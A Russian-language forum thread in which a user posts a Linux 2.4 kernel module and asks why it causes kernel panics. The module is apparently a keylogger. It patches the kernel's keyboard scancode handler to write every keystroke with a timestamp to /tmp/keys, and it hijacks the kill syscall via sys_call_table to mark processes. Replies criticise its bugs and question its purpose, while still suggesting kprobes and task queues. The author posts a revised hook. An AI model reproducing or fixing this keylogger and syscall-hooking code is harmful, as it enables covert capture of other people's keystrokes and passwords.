LINUX.ORG.RU

Трабл с модулем


0

0

Где ошибка в этом модуле, который пишет сканкоды и время в файл.
Работает некоторое время, пишет все, все ок, а потом падает...или может сразу упасть...
Пишет
"kernel BUG at sched.h:564!
invalid operand 0000
....
kernel panic:Aiee, killing interrupt handler!
"
В файле sched.h:564
"define task_has_cpu(tsk) ((tsk)->cpus_runnable != ~0UL)"

Код

#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/smp_lock.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/utsname.h>
#include <linux/string.h>
#include <linux/sched.h>
#include <asm/string.h>
#include <asm/unistd.h>
#include <asm/errno.h>
#include <asm/io.h>
#include <linux/proc_fs.h>

#include <linux/file.h>// fput()
#include <asm/uaccess.h>// get_fs(), set_fs(), KERNEL_DS
#include <linux/mm.h>// GFP_KERNEL

#define FLAG_FILE "/tmp/f_keys"
#define KEYS_FILE "/tmp/keys"
#define DPRINT(format, args...)
#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }

MODULE_LICENSE("GPL");

/*
change this to the correct address, which can be found in System.map
*/

void (*handle_scancode)(unsigned char,int) = (void(*)(unsigned char,int))0xc01cb030;

#define CODESIZE 7

#define NOLOG_SIGNAL 31
#define NOLOG_PF 0x10000000

static char original_acct_code[7];
static char acct_code[7] =
"\xb8\x00\x00\x00\x00"/*movl   $0,%eax*/
"\xff\xe0"/*jmp    *%eax*/
;
int (*original_kill)(pid_t, int);

extern void *sys_call_table[];
//int errno;

void *_memcpy(void *dest, const void *src, int size)
{
    const char *p = src;
    char *q = dest;
    int i;

    for (i = 0; i < size; i++) *q++ = *p++;

return dest;
}

void got_char(unsigned char scancode)
{
    printk(KERN_ALERT "%x\n",scancode);
}


#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
#define WRITABLE(f) (f->f_op && f->f_op->write)

int write_to_file(unsigned char scancode)
{
int ret = 0;

struct file   *f = NULL;

lock_kernel();
BEGIN_KMEM;
f = filp_open(KEYS_FILE, O_CREAT|O_APPEND, 00600);

if (IS_ERR(f)) {
DPRINT("Error %ld opening %s\n", -PTR_ERR(f), KEYS_FILE);
ret = -1;
} else {
if (WRITABLE(f))
{

    struct my_data {
        struct timeval my_time;
       unsigned char my_scancode;
  
    };


 struct my_data new_data;
 do_gettimeofday(&new_data.my_time);
 new_data.my_scancode=scancode;


   _write(f,&new_data,sizeof(new_data));

	

 }
 else {
      DPRINT("%s does not have a write method\n",KEYS_FILE);
	    ret = -1;
	    }
	        
  if ((ret = filp_close(f,NULL)))
     DPRINT("Error %d closing %s\n", -ret, KEYS_FILE);
    }
  END_KMEM;
  unlock_kernel();
	    
 return ret;
}
int _handle_scancode(unsigned char scancode,int keydown)
{



    if (!(current->flags & NOLOG_PF)) {
      write_to_file(scancode);

////////////////    
    _memcpy(handle_scancode, original_acct_code, CODESIZE);
    handle_scancode(scancode,keydown);
    _memcpy(handle_scancode, acct_code, CODESIZE);
    return 1;
    }
return 0;
}


struct task_struct *find_task(pid_t pid)
{
        struct task_struct *task = current;

        do {
                if(task->pid == pid)
                        return(task);

                task = task->next_task;

        } while(task != current);

        return(NULL);

}


int _kill(pid_t pid, int sig)
    {
	if (sig == NOLOG_SIGNAL) {
        struct task_struct *task;

	task = find_task(pid);
	if (task == NULL) return - ESRCH;

        task->flags |= NOLOG_PF;
        return 0;
    }
    return original_kill(pid, sig);
}

int init_module(void)
{
    original_kill = sys_call_table[__NR_kill];
    sys_call_table[__NR_kill] = _kill;
    *(long *)&acct_code[1] = (long)_handle_scancode;
    _memcpy(original_acct_code, handle_scancode, CODESIZE);
    _memcpy(handle_scancode, acct_code, CODESIZE);
    return 0;
}

void cleanup_module(void)
{
    sys_call_table[__NR_kill] = original_kill;
    _memcpy(handle_scancode, original_acct_code, CODESIZE);
}

здесь в каждой строчка по ошибке...

ну нельзя, к примеру, путешествовать по task->next
(и вообще разименовывать task) не имея tasklist_lock.

кстати, на это есть функция, find_task_by_pid_type(),
но lock все равно нужно брать.

> task->flags |= NOLOG_PF;

тоже неправильно, изменять task_struct->flags можно
только у current, иначе могут быть неприятности, тк
это поле не atomic_t.

остальное не смотрел...

может, все же расскажите, что и ЗАЧЕМ вы делаете.
похоже, что-то не слишком общественно-полезное.

idle ★★★★★
()
Ответ на: комментарий от idle

Большое спасибо, за дельные советы.Это очень общественно-полезная вещь))))а не то о чем вы подумали...Когда заработает - раскажу ;)


Valentin_vv
() автор топика
Ответ на: комментарий от idle

> task->flags |= NOLOG_PF;
>тоже неправильно, изменять task_struct->flags можно
>только у current, иначе могут быть неприятности, тк
>это поле не atomic_t.
А как проверить current или нет или обойтись без NOLOG_PF ? А примеры работы с очередями или доки... А то че то не получается...

Valentin_vv
() автор топика
Ответ на: комментарий от Valentin_vv

> А как проверить current или нет или обойтись без NOLOG_PF ?

я не знаю как обойтись без NOLOG_PF потому, что не понимаю
зачем он нужен вам.

логика мне совершенно непонятна. этот флаг взводится при
посылке процессу сигнала с помощью sig_kill(), затем он
проверяется в handle_scancode().

но handle_scancode() работает в interrupt context, и
прерывет "случайный" процесс, не обязательно тот, который
имеет хоть какое-то отношение к нажатию клавиши. не говоря
о том уже, что любое использование current в этом контексте
неверно и опасно.

> void (*handle_scancode)(unsigned char,int) = (void(*)(unsigned char,int))0xc01cb030;

зачем? эта функция экспортирована.

> void *_memcpy(void *dest, const void *src, int size)

зачем? есть memcpy()

> int write_to_file(unsigned char scancode)

чудо, что это вообще хоть как-то работает. ЧУДО.
ничего из того, что делает эта функция НИЗЗЯ делать
в irq контексте.

послушайте, я больше даже не буду смотреть на ваши
сообщения если:

   1. код не будет отформатирован и хотя бы НЕМНОГО
      читабелен.

   2. вы не будете четко формулировать то, что вам
      нужно сделать, или что вам непонятно.

idle ★★★★★
()

Редкостный поток бреда:

0) попытка что-либо писать в область кода ядра

1) попытка что-то поменять в sys_call_table в стиле статей "расковыряем ядро за 7 дней", которая, кстати, специально не экспортируется в 2.5+

2) отсутствие синхронизации Icache после изменения кода в памяти(что в купе с частично вытесненным и частично невытесненным Icache приведет к мертвому падению)

3) отсутствие mp-IRQ блокировки во время изменения кода(со всем вытекающим)

4) про поиск по списку без его блокировки уже написал idle

5) самоизобретенный memcpy(зачем?)

6) вытесняемый код в прерывании (опять же было сказано idle)

Советы:

1) присмотритесь к kprobes в 2.6, чтобы не устраивать порнографию с копированием кода

2) создайте очередь и нить, из которой будете писать в файл

3) в русском языке нет слова "трабл" и звучит это не по-хакерски, а как речь карапуза, который и русский язык еще не выучил и по-английски говорить не научился

anonymous
()
Ответ на: комментарий от anonymous

Большое спасибо idle и  anonymous за то что потратили на меня время.
Просто сроки горят... Поэтому если можно побольше примеров и ссылок,
если это ВАС не затруднит....


>   2) отсутствие синхронизации Icache после изменения кода в памяти(что в купе с частично вытесненным и частично
>   невытесненным Icache приведет к мертвому падению)
а как сделать эту синхронизацию???

>   3) отсутствие mp-IRQ блокировки во время изменения кода(со всем вытекающим)
    Это как?

>   4) про поиск по списку без его блокировки уже написал idle
Это уже исправил.

>   5) самоизобретенный memcpy(зачем?)
Это уже исправил.

 >  6) вытесняемый код в прерывании (опять же было сказано idle)
Сейчас пробую

 > Советы:

 > 1) присмотритесь к kprobes в 2.6, чтобы не устраивать порнографию с копированием кода
   kprobes только 2.6...а мне больше 2.4 нада...
   
 > 2) создайте очередь и нить, из которой будете писать в файл
Правильно ли я делаю...и достаточно ли?
  DECLARE_TASK_QUEUE(tq_custom);//глобально
  struct tq_struct custom_task;//глобально

  custom_task.routine=write_to_file;//в начале ф-ции _handle_scancode
  custom_task.data=(void*)&scancode;
  queue_task(&custom_task, &tq_custom);

  run_task_queue(&tq_custom);//в конце ф-ции _handle_scancode или где?



anonymous
()
Ответ на: комментарий от anonymous

 >  6) вытесняемый код в прерывании (опять же было сказано idle)
 Вот что я сделал, чтобы не писать в файл во время прерывания

"void  _handle_scancode(unsigned char scancode,int keydown)
{
 static struct tq_struct custom_task;
      custom_task.routine=got_char;
      custom_task.data=(void*)&scancode;

    schedule_task(&custom_task);

    memcpy(handle_scancode, original_acct_code, CODESIZE);
    handle_scancode(scancode,keydown);
    memcpy(handle_scancode, acct_code, CODESIZE);
}"


Стало заметно лутчше, но как быть с этим...

 >2) отсутствие синхронизации Icache после изменения кода в памяти(что 
 >в купе с частично вытесненным и частично
 >   невытесненным Icache приведет к мертвому падению)
 >   3) отсутствие mp-IRQ блокировки во время изменения кода(со всем 
 >вытекающим)

 Напишите пожалуйста, что конкретно написать, чтоб сделать эти вещи...
А то по ним я ничего толком не нашел...
    

Valentin_vv
() автор топика
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.